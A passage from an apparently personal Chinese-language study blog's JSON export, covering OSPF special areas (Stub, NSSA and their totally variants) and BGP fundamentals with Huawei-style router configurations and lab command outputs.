LoopBack0 ip address 1.1.1.1 255.255.255.255 #ospf 1 router-id 1.1.1.1 bfd all-interfaces enable area 0.0.0.0 network 1.1.1.1 0.0.0.0 network 12.1.1.1 0.0.0.0 network 13.1.1.1 0.0.0.0 # R2interface LoopBack0 ip address 2.2.2.2 255.255.255.255 #ospf 1 router-id 2.2.2.2 bfd all-interfaces enable area 0.0.0.0 network 2.2.2.2 0.0.0.0 network 12.1.1.2 0.0.0.0 network 24.1.1.2 0.0.0.0 ## R3interface LoopBack0 ip address 3.3.3.3 255.255.255.255 #ospf 1 router-id 3.3.3.3 bfd all-interfaces enable area 0.0.0.0 network 3.3.3.3 0.0.0.0 network 13.1.1.3 0.0.0.0 network 34.1.1.3 0.0.0.0 ## R4interface LoopBack0 ip address 4.4.4.4 255.255.255.255 #ospf 1 router-id 4.4.4.4 bfd all-interfaces enable area 0.0.0.0 network 4.4.4.4 0.0.0.0 network 24.1.1.4 0.0.0.0 network 34.1.1.4 0.0.0.0 #[R1]dis bfd session all --------------------------------------------------------------------------------Local Remote PeerIpAddr State Type InterfaceName --------------------------------------------------------------------------------8192 8192 12.1.1.2 Up D_IP_IF GigabitEthernet0/0/0 8195 8195 13.1.1.3 Up D_IP_IF GigabitEthernet0/0/1 -------------------------------------------------------------------------------- Total UP/DOWN Session Number : 2/0"},{"title":"","date":"2024-02-22T02:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/23.html","permalink":"https://blog.mhuig.top/notes/datacom/23","excerpt":"","text":"OSPF 特殊区域 OSPF 特殊区域 什么时候使用特殊区域(目的: 减少 LSDB 的规模) 1. 网络末端 2. 路由器性能低下 Stub 区域Stub (末节区域) Stub 中只有 1LSA,2LSA,3LSA 以及一个描述缺省路由的 3LSA LSA5,LSA4 不允许发布到 STUB 区域中, 到达 AS 外的路由只能基于 ABR 生成的默认路由 STUB 区域可以减少 STUB 区域内路由器的 LSDB 规模和对设备的需求 [R6-ospf-1-area-0.0.0.1]stub [R4-ospf-1-area-0.0.0.1]stub[R6]dis ospf lsdb OSPF Process 1 with Router ID 6.6.6.6 Link State Database Area: 0.0.0.1 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 95 36 80000003 1 Router 6.6.6.6 6.6.6.6 94 84 80000007 1 Network 46.1.1.6 6.6.6.6 94 32 80000001 0 Sum-Net 5.5.5.5 4.4.4.4 85 28 80000001 50 Sum-Net 3.3.3.3 4.4.4.4 90 28 80000001 49 Sum-Net 14.1.1.0 4.4.4.4 128 28 80000001 48 Sum-Net 123.1.1.0 4.4.4.4 117 28 80000001 49 Sum-Net 4.4.4.4 4.4.4.4 137 28 80000001 0 Sum-Net 2.2.2.2 4.4.4.4 85 28 80000001 49 Sum-Net 25.1.1.0 4.4.4.4 85 28 80000001 50 Sum-Net 1.1.1.1 4.4.4.4 117 28 80000001 48 Sum-Asbr 5.5.5.5 4.4.4.4 85 28 80000001 50 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 20.1.0.0 5.5.5.5 151 36 80000001 2 External 7.7.7.7 5.5.5.5 151 36 80000001 1 External 5.5.5.5 5.5.5.5 160 36 80000001 1 External 25.1.1.0 5.5.5.5 131 36 80000001 1 External 57.1.1.0 5.5.5.5 151 36 80000001 1 [R6]ospf 1[R6-ospf-1]a 1[R6-ospf-1-area-0.0.0.1]stub ? no-summary Do not send summary LSA into stub area <cr> Please press ENTER to execute command [R6-ospf-1-area-0.0.0.1]stub [R4]ospf 1[R4-ospf-1]a 1[R4-ospf-1-area-0.0.0.1]stub[R6-ospf-1-area-0.0.0.1]dis ospf lsdb OSPF Process 1 with Router ID 6.6.6.6 Link State Database Area: 0.0.0.1 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 41 36 80000004 1 Router 6.6.6.6 6.6.6.6 40 84 80000005 1 Network 46.1.1.6 6.6.6.6 40 32 80000001 0 Sum-Net 0.0.0.0 4.4.4.4 86 28 80000001 1 Sum-Net 5.5.5.5 4.4.4.4 86 28 80000001 50 Sum-Net 3.3.3.3 4.4.4.4 86 28 80000001 49 Sum-Net 14.1.1.0 4.4.4.4 86 28 80000001 48 Sum-Net 123.1.1.0 4.4.4.4 86 28 80000001 49 Sum-Net 4.4.4.4 4.4.4.4 86 28 80000001 0 Sum-Net 2.2.2.2 4.4.4.4 86 28 80000001 49 Sum-Net 25.1.1.0 4.4.4.4 86 28 80000001 50 Sum-Net 1.1.1.1 4.4.4.4 86 28 80000001 48 Totally Stub 区域Totally Stub (完全末节区域):只有 1LSA,2LSA 以及一条描述缺省路由的 3LSA (所有的 Stub 区域都无法引入外部路由) [R6-ospf-1-area-0.0.0.1]stub no-summary [R4-ospf-1-area-0.0.0.1]stub no-summary [R6-ospf-1-area-0.0.0.1]dis ospf lsdb OSPF Process 1 with Router ID 6.6.6.6 Link State Database Area: 0.0.0.1 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 35 36 80000009 1 Router 6.6.6.6 6.6.6.6 32 84 8000000B 1 Network 46.1.1.6 6.6.6.6 32 32 80000002 0 Sum-Net 0.0.0.0 4.4.4.4 280 28 80000001 1 NSSA 区域NSSA (次末节区域):不接受且不生成 4LSA,5LSA, 但可以引入外部路由, 会生成一个 7LSA, 描述外部路由. 同时 ABR 生成一个缺省路由, 由 7LSA 描述. 其他的普通区域不认识 7LSA,ABR 会将 7LSA 转换成 5LSA 进行泛洪. [R2]ospf 1[R2-ospf-1]a 2[R2-ospf-1-area-0.0.0.2]nssa[R5]ospf 1[R5-ospf-1]a 2[R5-ospf-1-area-0.0.0.2]nssa<R2>reset ospf 1 process<R5>reset ospf 1 process<R5>dis ospf lsdb OSPF Process 1 with Router ID 5.5.5.5 Link State Database Area: 0.0.0.2 Type LinkState ID AdvRouter Age Len Sequence Metric Router 2.2.2.2 2.2.2.2 50 36 80000004 1 Router 5.5.5.5 5.5.5.5 41 48 80000006 1 Network 25.1.1.5 5.5.5.5 41 32 80000002 0 Sum-Net 6.6.6.6 2.2.2.2 39 28 80000001 50 Sum-Net 3.3.3.3 2.2.2.2 51 28 80000001 1 Sum-Net 14.1.1.0 2.2.2.2 39 28 80000001 49 Sum-Net 123.1.1.0 2.2.2.2 88 28 80000001 1 Sum-Net 46.1.1.0 2.2.2.2 39 28 80000001 50 Sum-Net 4.4.4.4 2.2.2.2 39 28 80000001 49 Sum-Net 2.2.2.2 2.2.2.2 88 28 80000001 0 Sum-Net 1.1.1.1 2.2.2.2 39 28 80000001 1 Sum-Net 10.1.0.0 2.2.2.2 39 28 80000001 50 NSSA 20.1.0.0 5.5.5.5 91 36 80000001 2 NSSA 7.7.7.7 5.5.5.5 91 36 80000001 1 NSSA 5.5.5.5 5.5.5.5 95 36 80000002 1 NSSA 25.1.1.0 5.5.5.5 87 36 80000001 1 NSSA 57.1.1.0 5.5.5.5 91 36 80000001 1 NSSA 0.0.0.0 2.2.2.2 51 36 80000001 1 <R2>dis ospf lsdb OSPF Process 1 with Router ID 2.2.2.2 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 154 60 80000006 0 Router 2.2.2.2 2.2.2.2 119 48 80000009 1 Router 1.1.1.1 1.1.1.1 125 72 8000000B 1 Router 3.3.3.3 3.3.3.3 120 48 8000000A 1 Network 123.1.1.3 3.3.3.3 120 36 80000005 0 Sum-Net 6.6.6.6 4.4.4.4 140 28 80000001 1 Sum-Net 5.5.5.5 2.2.2.2 132 28 80000001 1 Sum-Net 46.1.1.0 4.4.4.4 180 28 80000001 1 Sum-Net 25.1.1.0 2.2.2.2 172 28 80000001 1 Sum-Net 10.1.0.0 4.4.4.4 140 28 80000001 1 Area: 0.0.0.2 Type LinkState ID AdvRouter Age Len Sequence Metric Router 2.2.2.2 2.2.2.2 134 36 80000004 1 Router 5.5.5.5 5.5.5.5 127 48 80000006 1 Network 25.1.1.5 5.5.5.5 127 32 80000002 0 Sum-Net 6.6.6.6 2.2.2.2 123 28 80000001 50 Sum-Net 3.3.3.3 2.2.2.2 135 28 80000001 1 Sum-Net 14.1.1.0 2.2.2.2 123 28 80000001 49 Sum-Net 123.1.1.0 2.2.2.2 172 28 80000001 1 Sum-Net 46.1.1.0 2.2.2.2 123 28 80000001 50 Sum-Net 4.4.4.4 2.2.2.2 123 28 80000001 49 Sum-Net 2.2.2.2 2.2.2.2 172 28 80000001 0 Sum-Net 1.1.1.1 2.2.2.2 123 28 80000001 1 Sum-Net 10.1.0.0 2.2.2.2 123 28 80000001 50 NSSA 0.0.0.0 2.2.2.2 135 36 80000001 1 NSSA 20.1.0.0 5.5.5.5 177 36 80000001 2 NSSA 7.7.7.7 5.5.5.5 177 36 80000001 1 NSSA 5.5.5.5 5.5.5.5 182 36 80000002 1 NSSA 25.1.1.0 5.5.5.5 174 36 80000001 1 NSSA 57.1.1.0 5.5.5.5 178 36 80000001 1 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 20.1.0.0 2.2.2.2 133 36 80000001 2 External 7.7.7.7 2.2.2.2 133 36 80000001 1 External 57.1.1.0 2.2.2.2 133 36 80000001 1 Totally NSSA 区域Totally NSSA (完全次末节区域): 只有 1LSA,2LSA,7LSA 和一条描述缺省路由的 3LSA, 一条描述缺省路由的 7LSA 骨干区域不能作为特殊区域 虚连接不能穿越骨干区域 [R5]ospf[R5-ospf-1]a 2[R5-ospf-1-area-0.0.0.2]nssa no-summary[R2]ospf[R2-ospf-1]a 2[R2-ospf-1-area-0.0.0.2]nssa no-summary[R5-ospf-1-area-0.0.0.2]dis ospf lsdb OSPF Process 1 with Router ID 5.5.5.5 Link State Database Area: 0.0.0.2 Type LinkState ID AdvRouter Age Len Sequence Metric Router 2.2.2.2 2.2.2.2 34 36 8000000A 1 Router 5.5.5.5 5.5.5.5 33 48 8000000C 1 Network 25.1.1.2 2.2.2.2 34 32 80000002 0 Sum-Net 0.0.0.0 2.2.2.2 56 28 80000001 1 NSSA 20.1.0.0 5.5.5.5 44 36 80000003 2 NSSA 7.7.7.7 5.5.5.5 44 36 80000001 1 NSSA 5.5.5.5 5.5.5.5 44 36 80000002 1 NSSA 25.1.1.0 5.5.5.5 44 36 80000001 1 NSSA 57.1.1.0 5.5.5.5 44 36 80000001 1 NSSA 0.0.0.0 2.2.2.2 56 36 80000001 1 [R2-ospf-1-area-0.0.0.2]dis ospf lsdb OSPF Process 1 with Router ID 2.2.2.2 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 575 60 80000006 0 Router 2.2.2.2 2.2.2.2 540 48 80000009 1 Router 1.1.1.1 1.1.1.1 546 72 8000000B 1 Router 3.3.3.3 3.3.3.3 541 48 8000000A 1 Network 123.1.1.3 3.3.3.3 541 36 80000005 0 Sum-Net 6.6.6.6 4.4.4.4 561 28 80000001 1 Sum-Net 5.5.5.5 2.2.2.2 28 28 80000001 1 Sum-Net 46.1.1.0 4.4.4.4 601 28 80000001 1 Sum-Net 25.1.1.0 2.2.2.2 51 28 80000002 1 Sum-Net 10.1.0.0 4.4.4.4 561 28 80000001 1 Area: 0.0.0.2 Type LinkState ID AdvRouter Age Len Sequence Metric Router 2.2.2.2 2.2.2.2 29 36 8000000A 1 Router 5.5.5.5 5.5.5.5 30 48 8000000C 1 Network 25.1.1.2 2.2.2.2 29 32 80000002 0 Sum-Net 0.0.0.0 2.2.2.2 51 28 80000001 1 NSSA 0.0.0.0 2.2.2.2 51 36 80000001 1 NSSA 20.1.0.0 5.5.5.5 41 36 80000003 2 NSSA 7.7.7.7 5.5.5.5 598 36 80000001 1 NSSA 5.5.5.5 5.5.5.5 602 36 80000002 1 NSSA 25.1.1.0 5.5.5.5 594 36 80000001 1 NSSA 57.1.1.0 5.5.5.5 598 36 80000001 1 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 20.1.0.0 2.2.2.2 28 36 80000001 2 External 7.7.7.7 2.2.2.2 28 36 80000001 1 External 57.1.1.0 2.2.2.2 28 36 80000001 1"},{"title":"","date":"2024-03-04T02:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/24.html","permalink":"https://blog.mhuig.top/notes/datacom/24","excerpt":"","text":"BGP BGP BGPBGP: 边界网关协议, 是目前唯一的一种 EGP 协议. 是一种增强型的路径矢量路由协议. AS: 自治系统, 是由同一个技术机构进行管理并且运行相同的选路策略的一组路由设备. AS 号: 1-65535. 1-64511 共有 AS. 64512-65535 私有 AS. 是一个 16bit 的整数, 目前新版本的 BGP 支持 4 字节的 AS 号. IGP 着重于发现路由和计算路由. BGP 着重于控制路由, 传播路由以及最优的路径选择. BGP 特征 BGP 具备可靠的路由更新机制. 基于 TCP 协议传递报文, 协议号为 179. BGP 具备丰富的度量值. 从设计上避免了环路. 附带多种路由属性. 支持 CIDR, 具备丰富的路由过滤和路由策略机制. BGP 无周期更新, 只会通过周期性发送 Keepalive 报文来检测 TCP 的连通性. (OSPF 有周期性更新, OSPF LSA 周期性更新默认 1800s 老化 3600s) 只进行增量更新.(只更新变化的路由) 所有的报文属性均采用 TLV 结构, 增强扩展性. BGP 路由传递在两个 AS 之间运行的 BGP PEER 称为 EBGP (外部 BGP) 在两个 AS 内部运行的 BGP PEER 称为 IBGP (内部 BGP) BGP 的报文 Open: 用于负责建立 BGP 对等体以及协商对等体之间相关参数. Keepalive: 周期性 (60s) 发送, 用于检测 BGP PEER 之间的连通性. 如果在 180s 内没有收到对方的 Keepalive 报文则认为邻居失效. Update: 用于在 BGP 对等体之间来传递路由信息, 可以用于新路由的更新, 也可以用于老路由的撤销. Notification: 当 BGP 设备检测到错误信息时, 会发送 Notification 报文通知对等体. Route-refresh: 用来通知对等体路由刷新. EBGP 基础配置1. 创建 BGP 进程并设置 RID 2. 指定对等体 IP 地址, 以及 AS 号 [R1]bgp ? INTEGER<1-65535> 2-byte autonomous system number STRING<3-11> 4-byte autonomous system number (number<1-65535>.number<0-65535>)[R1]bgp 100[R1-bgp]router-id 1.1.1.1[R1-bgp]peer 12.1.1.2 as-number 200[R2]bgp 200[R2-bgp]router-id 2.2.2.2[R2-bgp]peer 12.1.1.1 as-number 100[R2-bgp]查看 bgp 状态[R1-bgp]display bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 1 Peers in established state : 1 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 12.1.1.2 4 200 2 3 0 00:00:23 Established 0[R1-bgp]IP协议号6:TCP1:ICMP17:UDP89:OSPF[R1-GigabitEthernet0/0/0]shutdown[R1-GigabitEthernet0/0/0]undo shutdown BGP 协议头 Marker: 标记信息, 共 16 字节, 固定全为 1. Length: 长度, 包含 BGP 头部与报文内容的总长度. 共 2 字节 Type: 类型, 用于标识 BGP 报文类型. 1, 表示 Open 2, 表示 Update 3, 表示 Notification 4, 表示 Keepalive 5, 表示 Route-refresh Open 报文字段 1.version: 表示当前使用的 BGP 版本. 目前使用的 BGP 版本为 BGP 4+,所以目前该字段固定为 4. 2.my as: 表示当前 BGP 设备自身的 AS 号 3.hold time: 保持时间, 用于表示 BGP keepalive 报文的超时时间. 如果两台设备时间不一致, 则按照较小值为准. 4.RID: 用于标识当前设备的 RID. 5. 可选参数长度: 用于标识 BGP 可选参数信息的长度. 6. 可选参数: 用于协商 BGP 的能力, 以及相关参数. 可选参数由 TLV 结构组成TLV 结构: 通过 TLV 结构可以大大增加协议自身的扩展性. Type: 表示当前 TLV 结构的类型. Length: 表示当前 TLV 结构的长度. Value: 表示当前 TLV 结构的数值. Keepalive 报文字段只包含 BGP 的协议头, 无报文字段内容. Update 报文字段 Withdrawn routes length: 无效路由长度, 用于标识无效路由 (撤销路由) 的长度信息. Withdrawn routes: 用于表明撤销的路由信息. Path attribute length: 用于标识路径属性信息长度. Path attribute: 用于标识 BGP 路由的路径属性. NLRI: 网络层可达信息. 用于传递的 BGP 路由. BGP 传递路由时, 一个 Update 报文只能携带一条路由, 或多条属性相同的路由. 导入直连路由注入 BGP, 出现 Update 报文 [R1-bgp]import-route direct 撤销路由, 出现 Update 报文 [R1-bgp]undo import-route direct Notification 报文字段 错误代码: 1. 表示消息头错误 2. 表示 open 报文错误 3. 表示 Update 报文错误 4. 表示 Keepalive 超时 5. 表示状态机错误 6. 表示终止会话. (管理员关闭, 或检测到接口 down) 子错误代码: 数据 当收到 Notification 报文后, BGP 会 down 掉邻居的会话. Route-refresh 报文字段AFI : (2B) 地址家族SAFI : (1B) 子地址家族 BGP 状态机Idle: 空闲状态, 表示 BGP 设备的初始状态. 当 BGP 进程收到 START 消息后尝试 TCP 连接, 并转入 connect 状态. Connect: 连接状态, 此时会主动与 BGP 对等体建立 TCP 会话状态, 如果 TCP 会话建立成功则会进入 openset 状态, 如果 TCP 会话建立失败则会进入 Active 状态. Active: 活动状态, 在该状态下会等待 PEER 与其建立邻居关系, 如果 TCP 会话建立成功, 则进入 openset 状态, 如果 TCP 重传计时器 (32s) 超时, 则回到 connect 状态重新建立 TCP. Openset: 在该状态下表示 BGP 的 TCP 会话已经建立成功, 并且向邻居发送 open 报文, 并等等对方的 open 报文. 如果收到对方正确的 open 报文, 则进入 openconfirm. Openconfirm: 表示对 open 报文进行了确认, 此时会向对方发送 keeepalive 报文, 如果收到了对方的 Keepalive 报文, 则进入 established 状态. Established: 表示 BGP 的会话已经建立成功, 也是 BGP 最终的稳定状态. 在该状态下可以发送 Update Keepalive route-refresh 和 notification 报文. 在任何状态下收到 Notification 报文都会直接回到 Idle 状态. [R1]display bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 1 Peers in established state : 0 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 12.1.1.2 4 200 0 0 0 00:00:31 Idle 0[R1]display bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 1 Peers in established state : 0 Peer V AS MsgRcvd MsgSent OutQ Up/Down State Pre fRcv 12.1.1.2 4 200 1 3 0 00:00:32 OpenConfirm 0[R1]Mar 4 2024 11:58:48-08:00 R1 %%01BGP/3/STATE_CHG_UPDOWN(l)[5]:The status of the peer 12.1.1.2 changed from OPENCONFIRM to ESTABLISHED. (InstanceName=Public, StateChangeReason=Up) display bgp peer BGP 的路由BGP 的路由: BGP 协议本身无法自动发现路由, 需要将现有路由表中的路由注入 BGP 从而形成 BGP 路由.BGP 所有的路由信息会先加入到 BGP 表, 在 BGP 表中最优的路由会进入到 IP 路由表 IBGP 配置IBGP 配置: 1.AS 内通过 IGP 网络可达 2.IBGP 一般采用环回口作为 BGP 互联接口. 如果 EBGP 需要通过环回口建立 BGP PEER, 则 1. 首先通过静态路由确保环回口可达 2. 在 EBGP 中开启 BGP 多跳功能 EBGP 默认会开启直连检测功能. 开启 EBGP 多跳功能后 EBGP 会自动关闭直连检查功能. ospf 1 router-id 2.2.2.2 area 0.0.0.0 network 2.2.2.2 0.0.0.0 network 12.1.1.2 0.0.0.0 network 23.1.1.2 0.0.0.0 bgp 100 router-id 2.2.2.2 peer 1.1.1.1 as-number 100 peer 1.1.1.1 connect-interface LoopBack0 peer 3.3.3.3 as-number 100 peer 3.3.3.3 connect-interface LoopBack0[R1]bgp 100[R1-bgp]router-id 1.1.1.1[R1-bgp]peer 2.2.2.2 as-number 100[R1-bgp]dis bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 1 Peers in established state : 0 Peer V AS MsgRcvd MsgSent OutQ Up/Down State Pre fRcv 2.2.2.2 4 100 0 0 0 00:02:00 Active 0物理接口改成环回接口[R1-bgp]peer 2.2.2.2 connect-interface LoopBack 0[R2-bgp]peer 1.1.1.1 connect-interface LoopBack 0[R1-bgp]dis bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 1 Peers in established state : 1 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 2.2.2.2 4 100 2 3 0 00:00:02 Established 0[R2-bgp]dis thbgp 100 router-id 2.2.2.2 peer 1.1.1.1 as-number 100 peer 1.1.1.1 connect-interface LoopBack0 peer 3.3.3.3 as-number 100 peer 3.3.3.3 connect-interface LoopBack0(TCP可达就可以建立peer)[R1]bgp 100[R1-bgp]peer 3.3.3.3 as-number 100[R1-bgp]peer 3.3.3.3 connect-interface LoopBack0[R3]bgp 100[R3-bgp]peer 1.1.1.1 as-path-filter[R3-bgp]peer 1.1.1.1 as-number 100[R3-bgp] peer 1.1.1.1 connect-interface LoopBack0[R1-bgp]dis bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 2 Peers in established state : 2 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 2.2.2.2 4 100 16 17 0 00:14:50 Established 0 3.3.3.3 4 100 2 3 0 00:00:06 Established 0[R1]ip route-static 4.4.4.4 32 14.1.1.4[R4]ip route-static 1.1.1.1 32 14.1.1.1[R1]Ping -a 1.1.1.1 4.4.4.4 PING 4.4.4.4: 56 data bytes, press CTRL_C to break Reply from 4.4.4.4: bytes=56 Sequence=1 ttl=255 time=60 ms Reply from 4.4.4.4: bytes=56 Sequence=2 ttl=255 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=3 ttl=255 time=20 ms Reply from 4.4.4.4: bytes=56 Sequence=4 ttl=255 time=20 ms Reply from 4.4.4.4: bytes=56 Sequence=5 ttl=255 time=30 ms --- 4.4.4.4 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 20/32/60 ms[R4-bgp]dis th[V200R003C00]#bgp 200 peer 1.1.1.1 as-number 200 peer 1.1.1.1 connect-interface LoopBack0 peer 4.4.4.4 as-number 200 [R1-bgp]dis th[V200R003C00]#bgp 100 router-id 1.1.1.1 peer 2.2.2.2 as-number 100 peer 2.2.2.2 connect-interface LoopBack0 peer 3.3.3.3 as-number 100 peer 3.3.3.3 connect-interface LoopBack0 peer 4.4.4.4 as-number 200 peer 4.4.4.4 connect-interface LoopBack0[R1-bgp]dis bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 3 Peers in established state : 2 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 2.2.2.2 4 100 28 29 0 00:26:00 Established 0 3.3.3.3 4 100 13 14 0 00:11:16 Established 0 4.4.4.4 4 200 0 0 0 00:00:17 Idle [R1-bgp]peer 4.4.4.4 ebgp-max-hop 2[R1-bgp]dis th[V200R003C00]#bgp 100 router-id 1.1.1.1 peer 2.2.2.2 as-number 100 peer 2.2.2.2 connect-interface LoopBack0 peer 3.3.3.3 as-number 100 peer 3.3.3.3 connect-interface LoopBack0 peer 4.4.4.4 as-number 200 peer 4.4.4.4 ebgp-max-hop 2 peer 4.4.4.4 connect-interface LoopBack0[R4-bgp]dis th[V200R003C00]#bgp 200 peer 1.1.1.1 as-number 100 peer 1.1.1.1 ebgp-max-hop 2 [R1-bgp]dis bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 3 Peers in established state : 3 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 2.2.2.2 4 100 33 34 0 00:31:34 Established 0 3.3.3.3 4 100 18 19 0 00:16:50 Established 0 4.4.4.4 4 200 2 3 0 00:00:01 Established 0 BGP 的路由注入network 命令: 将路由表现有的路由逐条注入到 BGP 表中. 注入路由时网络号和掩码必须匹配路由表中的信息. import-route 命令: 可以将某一类路由一次性注入进 BGP 中 [R4]int LoopBack 1[R4-LoopBack1]ip add 10.4.4.4 24[R4]bgp 200[R4-bgp]network 10.4.4.0 24[R4-bgp]display bgp routing-table BGP Local router ID is 4.4.4.4 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 1 Network NextHop MED LocPrf PrefVal Path/Ogn *> 10.4.4.0/24 0.0.0.0 0 0 i[R4-bgp]undo network 10.4.4.0 255.255.255.0[R4]ip route-static 10.1.1.0 24 NULL 0 [R4]bgp 200[R4-bgp]network 10.1.1.0 24[R4-bgp]dis bgp routing-table BGP Local router ID is 4.4.4.4 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 1 Network NextHop MED LocPrf PrefVal Path/Ogn *> 10.1.1.0/24 0.0.0.0 0 0 i[R4-bgp]import-route ? direct Connected routes isis Intermediate System to Intermediate System (IS-IS) routes ospf Open Shortest Path First (OSPF) routes rip Routing Information Protocol (RIP) routes static Static routes unr User network routes[R3]ip route-static 30.1.0.0 24 NULL 0[R3]ip route-static 30.1.1.0 24 NULL 0[R3]ip route-static 30.1.2.0 24 NULL 0[R3]ip route-static 30.1.3.0 24 NULL 0[R3]bgp 100[R3-bgp]import-route static [R3-bgp]dis bgp routing-table BGP Local router ID is 3.3.3.3 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 5 Network NextHop MED LocPrf PrefVal Path/Ogn i 10.1.1.0/24 4.4.4.4 0 100 0 200i *> 30.1.0.0/24 0.0.0.0 0 0 ? *> 30.1.1.0/24 0.0.0.0 0 0 ? *> 30.1.2.0/24 0.0.0.0 0 0 ? *> 30.1.3.0/24 0.0.0.0 0 0 ?[R3-bgp]import-route ospf 1[R3-bgp]display bgp routing-table BGP Local router ID is 3.3.3.3 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 10 Network NextHop MED LocPrf PrefVal Path/Ogn *> 1.1.1.1/32 0.0.0.0 2 0 ? *> 2.2.2.2/32 0.0.0.0 1 0 ? *> 3.3.3.3/32 0.0.0.0 0 0 ? i 10.1.1.0/24 4.4.4.4 0 100 0 200i *> 12.1.1.0/24 0.0.0.0 2 0 ? *> 23.1.1.0/24 0.0.0.0 0 0 ? *> 30.1.0.0/24 0.0.0.0 0 0 ? *> 30.1.1.0/24 0.0.0.0 0 0 ? *> 30.1.2.0/24 0.0.0.0 0 0 ? *> 30.1.3.0/24 0.0.0.0 0 0 ?[R1]dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 Direct 0 0 D 127.0.0.1 LoopBack0 2.2.2.2/32 OSPF 10 1 D 12.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 OSPF 10 2 D 12.1.1.2 GigabitEthernet0/0/0 4.4.4.4/32 Static 60 0 RD 14.1.1.4 GigabitEthernet0/0/1 10.1.1.0/24 EBGP 255 0 RD 4.4.4.4 GigabitEthernet0/0/1 12.1.1.0/24 Direct 0 0 D 12.1.1.1 GigabitEthernet0/0/0 12.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.1 GigabitEthernet0/0/1 14.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 14.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 23.1.1.0/24 OSPF 10 2 D 12.1.1.2 GigabitEthernet0/0/0 30.1.0.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/0 30.1.1.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEtherne0/0/0 30.1.2.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/0 30.1.3.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 BGP 路由不调优的可能性BGP 只会将 BGP 表中最优的路由加入到 IP 路由表中. BGP 路由不调优的可能性: 1.BGP 开启 BGP 同步检测功能且路由不同步.(该功能默认关闭, 且 ENSP 模拟器中无法开启) 2.BGP 路由的下一跳地址不可达, 会导致 BGP 路由失效, 造成不调优. 解决方案 1: 在 IGP 中添加对应网络的路由信息, 使下一跳地址可达. ospf 1 router-id 1.1.1.1 import-route static 解决方案 2: 更改路由的下一跳, 使其变为网络中的可达地址, 实现路由有效性 bgp 100 peer 2.2.2.2 next-hop-local <R2>dis bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, > - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 11 Network NextHop MED LocPrf PrefVal Path/Ogn *>i 1.1.1.1/32 3.3.3.3 2 100 0 ? *>i 2.2.2.2/32 3.3.3.3 1 100 0 ? i 3.3.3.3/32 3.3.3.3 0 100 0 ? i 10.1.1.0/24 4.4.4.4 0 100 0 200i i 10.4.4.0/24 4.4.4.4 0 100 0 200i *>i 12.1.1.0/24 3.3.3.3 2 100 0 ? *>i 23.1.1.0/24 3.3.3.3 0 100 0 ? *>i 30.1.0.0/24 3.3.3.3 0 100 0 ? *>i 30.1.1.0/24 3.3.3.3 0 100 0 ? *>i 30.1.2.0/24 3.3.3.3 0 100 0 ? *>i 30.1.3.0/24 3.3.3.3 0 100 0 ?<R2><R2>dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 17 Routes : 17 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 